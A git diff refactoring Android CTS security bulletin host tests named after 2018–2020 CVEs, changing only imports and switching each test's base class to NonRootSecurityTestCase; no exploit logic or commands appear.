diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
index 09d391e..22f1c97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9563 extends SecurityTestCase {
+public class CVE_2018_9563 extends NonRootSecurityTestCase {
/**
* b/114237888
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index 6e4d588..cafea31 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9564 extends SecurityTestCase {
+public class CVE_2018_9564 extends NonRootSecurityTestCase {
/**
* b/114238578
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
index ab18f52..02c470b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9584 extends SecurityTestCase {
+public class CVE_2018_9584 extends NonRootSecurityTestCase {
/**
* b/114047681
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
index 4f3a3bf..8c24f9d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9585 extends SecurityTestCase {
+public class CVE_2018_9585 extends NonRootSecurityTestCase {
/**
* b/117554809
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index e899b7a..fb300c4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9593 extends SecurityTestCase {
+public class CVE_2018_9593 extends NonRootSecurityTestCase {
/**
* b/116722267
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index d6e8fb5..d196681 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9594 extends SecurityTestCase {
+public class CVE_2018_9594 extends NonRootSecurityTestCase {
/**
* b/116791157
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
index 826db69..6f4c33b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2007 extends SecurityTestCase {
+public class CVE_2019_2007 extends NonRootSecurityTestCase {
/**
* b/120789744
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
index 373703e..9fe5cb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2011 extends SecurityTestCase {
+public class CVE_2019_2011 extends NonRootSecurityTestCase {
/**
* b/120084106
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index 181d660..1b4a4a7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2012 extends SecurityTestCase {
+public class CVE_2019_2012 extends NonRootSecurityTestCase {
/**
* b/120497437
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
index 0ac72b2..caaa463 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2013 extends SecurityTestCase {
+public class CVE_2019_2013 extends NonRootSecurityTestCase {
/**
* b/120497583
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index e6863ac..b54d767 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2014 extends SecurityTestCase {
+public class CVE_2019_2014 extends NonRootSecurityTestCase {
/**
* b/120499324
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index 1a798c2..bf46c60 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2015 extends SecurityTestCase {
+public class CVE_2019_2015 extends NonRootSecurityTestCase {
/**
* b/120503926
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index b7c2ea8..b1a1b54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2017 extends SecurityTestCase {
+public class CVE_2019_2017 extends NonRootSecurityTestCase {
/**
* b/121035711
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
index 1c5a180..448611f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2019 extends SecurityTestCase {
+public class CVE_2019_2019 extends NonRootSecurityTestCase {
/**
* b/115635871
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
index b65faee..9ea3846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2020 extends SecurityTestCase {
+public class CVE_2019_2020 extends NonRootSecurityTestCase {
/**
* b/116788646
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
index 8d0d4d6..b2fd563 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2021 extends SecurityTestCase {
+public class CVE_2019_2021 extends NonRootSecurityTestCase {
/**
* b/120428041
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
index 057e937..e60f0ba 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2022 extends SecurityTestCase {
+public class CVE_2019_2022 extends NonRootSecurityTestCase {
/**
* b/120506143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
index df6c6f4..ad289bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2027 extends SecurityTestCase {
+public class CVE_2019_2027 extends NonRootSecurityTestCase {
/**
* b/119120561
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
index 21b2285..dc94186 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -20,15 +20,16 @@
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.regex.Pattern;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2031 extends SecurityTestCase {
+public class CVE_2019_2031 extends NonRootSecurityTestCase {
/**
* b/120502559
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
index 8757455..a643561 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2035 extends SecurityTestCase {
+public class CVE_2019_2035 extends NonRootSecurityTestCase {
/**
* b/122320256
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
index 4fe0164..46c0eb4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2038 extends SecurityTestCase {
+public class CVE_2019_2038 extends NonRootSecurityTestCase {
/**
* b/121259048
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
index 6390340..f411ae1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2039 extends SecurityTestCase {
+public class CVE_2019_2039 extends NonRootSecurityTestCase {
/**
* b/121260197
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
index 6c6d239..062248a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2040 extends SecurityTestCase {
+public class CVE_2019_2040 extends NonRootSecurityTestCase {
/**
* b/122316913
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
index e36c46f..a3f6307 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2044 extends SecurityTestCase {
+public class CVE_2019_2044 extends NonRootSecurityTestCase {
/**
* b/123701862
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
index 16487a3..ab2517d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2099 extends SecurityTestCase {
+public class CVE_2019_2099 extends NonRootSecurityTestCase {
/**
* b/123583388
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
index 1f3552c..6aee640 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2115 extends SecurityTestCase {
+public class CVE_2019_2115 extends NonRootSecurityTestCase {
/**
* b/129768470
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
index fe06a73..cc9e24d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -16,15 +16,16 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2135 extends SecurityTestCase {
+public class CVE_2019_2135 extends NonRootSecurityTestCase {
/**
* b/125900276
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
index 91b2000..cc50bb7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2136 extends SecurityTestCase {
+public class CVE_2019_2136 extends NonRootSecurityTestCase {
/**
* b/132650049
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
index 223e768..492010b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java
@@ -18,12 +18,15 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2178 extends SecurityTestCase {
+public class CVE_2019_2178 extends NonRootSecurityTestCase {
/**
* b/124462242
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
index 31ab4ce..ae8f7ed 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java
@@ -18,13 +18,14 @@
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2180 extends SecurityTestCase {
+public class CVE_2019_2180 extends NonRootSecurityTestCase {
/**
* b/110899492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
index 15fab83..b393d26 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2206 extends SecurityTestCase {
+public class CVE_2019_2206 extends NonRootSecurityTestCase {
/**
* b/139188579
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
index 7ce43c7..1951c67 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2207 extends SecurityTestCase {
+public class CVE_2019_2207 extends NonRootSecurityTestCase {
/**
* b/124524315
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
index dbd7cc8..fe3ff06 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_9247 extends SecurityTestCase {
+public class CVE_2019_9247 extends NonRootSecurityTestCase {
/**
* b/120426166
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
index 58a2449..282a677 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0006 extends SecurityTestCase {
+public class CVE_2020_0006 extends NonRootSecurityTestCase {
/**
* b/139738828
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
index 3aa0474..32a1e6c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -23,13 +23,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2020_0015 extends NonRootSecurityTestCase {
@AppModeFull
